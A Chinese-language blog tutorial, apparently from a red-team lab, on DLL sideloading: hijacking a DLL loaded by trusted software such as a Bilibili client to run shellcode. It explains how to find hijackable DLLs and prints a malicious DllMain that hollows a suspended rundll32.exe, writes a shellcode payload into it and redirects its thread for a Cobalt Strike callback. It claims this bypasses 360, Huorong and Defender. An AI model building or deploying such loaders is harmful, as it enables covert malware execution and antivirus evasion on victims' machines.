白加黑保姆教程通杀主流杀软

文摘   2024-08-10 07:00   四川  

简单来说就是通过白名单的exe运行来去加载恶意的dll达到shellcode加载的目的,那么就需要对exe加载的dll进行了解

DLL前置知识

DLL路径搜索目录顺序

• 1. 程序所在目录
• 2. 程序加载目录(SetCurrentDirectory)
• 3. 系统目录即 SYSTEM32 目录
• 4.16 位系统目录即 SYSTEM 目录
• 5.Windows 目录
• 6.PATH 环境变量中列出的目录

Know DLLs 注册表项

Know DLLs注册表项里的DLL列表在应用程序运行后就已经加入到了内核空间中,多个进程公用这些模块,必须具有非常高的权限才能修改
Know DLLs 注册表项的路径为:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
劫持应用中存在的dll

直接转发 Direcrt Forwarding

直接转发对主程序来说,其实就是调用了原来 dll 的某个函数。
1.修改导出表
在导出表中将要转发的函数入口地址指向另一个DLL对应函数的入口地址
2.实际调用过程
其他程序调用DLL中被转发的函数时,系统会重定向到转发目标DLL中的对应函数。
设 DLL A 中的函数 MyFunction() 被直接转发到 DLLB 中的函数 RealFunction(),那么调用 MyFunction() 实际上会调用 RealFunction()

及时调用 Delay Load and Call

即时调用实际上是调用了劫持dll的某个函数,只不过那个函数会jm 到原本的dll中的相应函数的地址,达到的效果相同,但是实现的原理不同

  1. 延迟加载目标 DLL
    当 DLL A 中的函数被调用时,首先使用 LoadLibrary 加载目标 DLLB

  2. 获取函数入口地址
    然后使用 GetProcAddress 获取目标 DLL 中要调用的函数的入口地址。

  3. 实际调用过程:
    使用获取到的函数入口地址调用目标函数
    这种方式的优点是,可以在需要调用函数时才加载目标 DLLB.
    注意事项
    不管是转发还是劫持,都需要注意使用对应位数的shellcode,可以使用01Eidor来打开exe查看,生成dll时候也需注意
    DllMain 入口函数
    这是动态链接库的可选入口点。系统启动或终止进程或线程的时候,它会使用进程的第一个线程为每个加载的DLL来调用入口点函数
    当Dll使用LoadLibrary加载和使用FreeLibrary函数卸载dll时候,系统还会回调该函数的入口点函数

/** hModule:DLL模块句柄* ul_reason_for_call:调用函数的原因* lpReserved:保留参数*/BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved){    switch (ul_reason_for_call)    {      case DLL_PROCESS_ATTACH: // 当DLL被进程加载时执行,每个新进程只初始化一次。      case DLL_THREAD_ATTACH: // 当线程被创建时调用      case DLL_THREAD_DETACH: // 当线程结束时执行      case DLL_PROCESS_DETACH: // 当DLL被进程卸载时执行            if (lpvReserved != nullptr)            {                break; // lpvReserved为非空时,表示进程被终止,不做任何清理            }            // 执行必要的清理          break;    }    return TRUE; // DLL_PROCESS_ATTACH成功}

DLL_PROCESS_ARRACH
当一个dll文件被映射到进程的地址空间时,系统调用dllmain,传递fdwReason参数为DLL_PROCESS_ARRACH,只会被传递一次
DLL_PROCESS_DETACH
当dll被从进程的地址空间接触映射时调用
比如:
1.调用FreeLibray()
2.进程结束
3.传入DLL_PROCESS_ATTACH的dllmain返回False
DLL_PROCESS_ATTACH
当进程创建一线程调用时,与DLL_PROCESS_ATTACH不同,该值可以被多次调用。

DllMain函数名修饰-APIENTRY

#define CALLBACK __stdcall   // WIN32编程中的回调函数类型#define WINAPI __stdcal#define WINAPIV __cdecl#define APIENTRY WINAPI   // DllMain的入口就在这里#define APIPRIVATE __stdcall#define PASCAL __stdcall

APIENTRY根据宏定义 WINAPI以及stdcall,可知是属于stdcall调用约定。
这种约定主要约束了两件事:参数传递顺序、调用堆栈由谁清理(调用函数或被调用函数)。
常见的函数调用约定有:cdecl stdcall fastcall thiscall
其中 cdecl 是 C\C++ 的默认调用约定,stdcall 是 Windows API 的默认调用约定。
Dll的调试
这里写一个例子来进行dll的开发和调试
pch.h对应的源文件

这段代码定义了一个 study_dll_EXPORTS的宏,定义API_DECLSPECKM为declspec(dllexport),否则则定义API_DECLSPECKM为declspec(dllimport)

生成dll后在用dumpbin来查看导出表,注意dumpbin要找到对应位数这里是64位,不要用成arm的了

这里学习一下调用dll来调试dll中的代码。首先需要可以调用这个dll的exe,这点很重要。创建一个控制台项目,然后代码里面加载dll,获取到HModule后,在用GetProcAddress来获取dll里面的方法

这里再return这下断点 可以看到调试成功了

dll静态和动态调用的特点

dll静态调用特点
程序在编译时将所需的dll文件嵌入到可执行文件中,也就是dll文件与可执行文件捆绑在一起。
当程序运行时,操作系统会将静态链接库(Static Link Library)中的代码和数据复制到程序的内存空间中,这样程序就可以直接使用 DLL 中的功能。由于 DLL 文件已经被嵌入到可执行文件中,因此程序在运行时不需要再加载 DLL 文件,可以直接执行。
示例 编写一个静态dll文件 mydll.lib

// 定义 DLL 导出函数的原型typedef int (*DLLFUNC)(int);
int main(){ // 加载静态链接库 #pragma comment(lib, "mydll.lib")
// 获取 DLL 导出函数指针 DLLFUNC MyFunc = (DLLFUNC)GetProcAddress(hLib, "MyFunc");
// 调用 DLL 导出函数 int result = MyFunc(123);
return 0;}

dll动态调用的特点
如果所需要dll不存在,不会返回错误代码(除非在代码里面写了Getlasterror这些)

dllmain上线问题

根据微软官方文档,不能在 DllMain 中调用直接或间接尝试获取加载程序锁的任何函数,否则将导致死锁,这意味着不能使用 Sleep(Ex)、WaitForSingleObject 等有等待延迟的函数,此外微软还列举了 DllMain 中不能使用的一些函数如直接或间接使用 LoadLibrary(Ex)、GetStringTypeA 等,CreateProcess 和 CreateThread 可以调用但存在风险:

dllmain里面不能创建进程这个问题是一个坑。
也就是说创建线程申请内存加载shellcode需要在导出函数里面操作,不能再dllmain里面直接操作,需要找到第一个执行的函数就能行,但是麻烦,我们可以可以新定义一个函数来申请内存,加载到内存中,在dllmain中只需要去用CreateThread来调用它就可以了。

寻找可用dll

这是一个关键性的问题,可执行文件的导入dll那么多,用哪个dll来加黑呢?这个可以说是最关键的一步!
一般我们能利用的 dll 都是特殊的 dll,无论 SafeDllSearchMode 是否开启最终都是在当前路径之下搜索。
这里来罗列一下几种方法

1.孤独寻找

最容易想到的操作,就是把exe单独移动出来,然后运行看看报错是什么,这里报错是缺少ffmpeg.dll,
但是这种方法不保证管用和准确性

100多MB的启动程序导入表dll居然这么少 通过查看导入表,来判断排除系统dll,然后看看在结合目录寻找软件的dll

有些程序光是一个dll还无法正常打开运行,可能是dll1还需要dll2,这种就不好去找了。有些能运行上线,但是程序无法正常使用,想要劫持了dll加黑,又要原程序正常运行这是一件很难的事情。

Procmon助我

使用Procmon任务管理器来动态运行程序查找,可以逐步分析需要动态加载哪些关键DLL。
先来一个Filter

内容还是太多了,需要再过滤一下,只看dll的

加上path以.dll结尾的过滤器

再加上一个exclude,就可以排除完了

巧用工具 

寻找了好几款工具,对比测试发现ZeroEye效果还不错

利用工具来检查可以被劫持的dll,可以快速排除寻找
https://github.com/ImCoriander/ZeroEye/tree/ZeroEye
这款工具python运行调用PE程序去寻找,成功找到后会生成对应目录

这里给出了exe的导入DLL,分成系统DLL和程序的DLL,一目了然,比如寻找wyy的

cloudmusic_util.exe这里导入依赖了很多dll

这里还差一个dll,我们手动排查发现

那么在给他加上libFLAC_dynamic.dll就可以直接运行了

黑Dll制作

我这里测试就选择这个某哔哩ffmpeg.dll来制作,通过使用AheadLib来做dll的相关函数导出,但是之前的这个软件导出x64位的dll就会直接闪退,没办法已经没有更新了

在GitHub上找到了一个可以用的,但是导出之后需要把asm相关函数编译成obj,比较麻烦
https://github.com/strivexjun/AheadLib-x86-x64
导出转发生成了ffmpeg_jump.asm和ffmpeg.cpp文件

编译的时候就发现存在两个函数的报错,尝试了很久,添加链接器到Shlwapi.h物理路径也不行,就很奇怪 shlwapi.h已经引用 找不到pathstrippath”和“strcmpi”

没有用,只能尝试替换掉这两个函数了

当然可以用其他的轮子来加载dllmain
(由于dll被修改后哔哩打开就闪退了,之前那个是在dllmain中调用函数来创建线程,所以闪退会导致CS这边也退掉)
想要保持修改dll后的软件exe也能正常运行打开,不是那么好做,是比较困难的,条件要求很高。那么可以考虑换一种方法来执行。
注入进程,一种常用的轮子

unsigned char payload[] = "\xfc\xe8...";unsigned int payload_len = sizeof payload - 1;
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { char* v7A = (char*)VirtualAlloc(0, payload_len, 0x3000u, 0x40u); memcpy((void*)v7A, payload, payload_len);
struct _PROCESS_INFORMATION ProcessInformation; struct _STARTUPINFOA StartupInfo; void* v24; CONTEXT Context; memset(&StartupInfo, 0, sizeof(StartupInfo)); StartupInfo.cb = 68; BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation); if (result) { Context.ContextFlags = 65539; GetThreadContext(ProcessInformation.hThread, &Context); v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, payload_len, 0x1000u, 0x40u); WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, payload_len, NULL); // 32 位使用 Context.Eip = (DWORD_PTR)v24; Context.Rip = (DWORD_PTR)v24; SetThreadContext(ProcessInformation.hThread, &Context); ResumeThread(ProcessInformation.hThread); CloseHandle(ProcessInformation.hThread); result = CloseHandle(ProcessInformation.hProcess); }
TerminateProcess(GetCurrentProcess(), 0); }
case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}

ok 代码的问题解决了,但是再编译的时候出现了上面的导出函数无法被识别的问题

这里就需要来编译asm文件了,参考asm注释里面给的命令,需要注意ml64是vsstudio里面的文件,因为这里没有加入到环境变量中,所以写全路径,编译得到了ffmpeg_jump.obj
"E:\C project\Microsoft Visual Studio\VC\Tools\MSVC\14.16.27023\bin\HostX64\x64\ml64" /Fo ffmpeg_jump.obj /c /Cp ffmpeg_jump.asm

把ffmpeg_jump.obj复制到项目目录下

然后把obj文件添加到链接器里面

放回到安装目录可以上线,这里是启动了rundll32.exe来上线的

这样子单独拎出来也可以上线,不过还没有做免杀

再加上一点自己的免杀手段上去,这里就不继续展开了
360,火绒,defender通通bypass!
放一下defender免杀效果图
defender静态查杀

defender动态查杀

参考链接:
https://www.freebuf.com/articles/system/333690.html
https://github.com/strivexjun/AheadLib-x86-x64
https://learn.microsoft.com/zh-cn/windows/win32/dlls/dynamic-link-library-best-practices?redirectedfrom=MSDN
https://github.com/ImCoriander/ZeroEye/tree/ZeroEye

推 荐 阅 读





横向移动之RDP&Desktop Session Hija

七芒星实验室
未知攻,焉知防,以攻促防,共筑安全!
 最新文章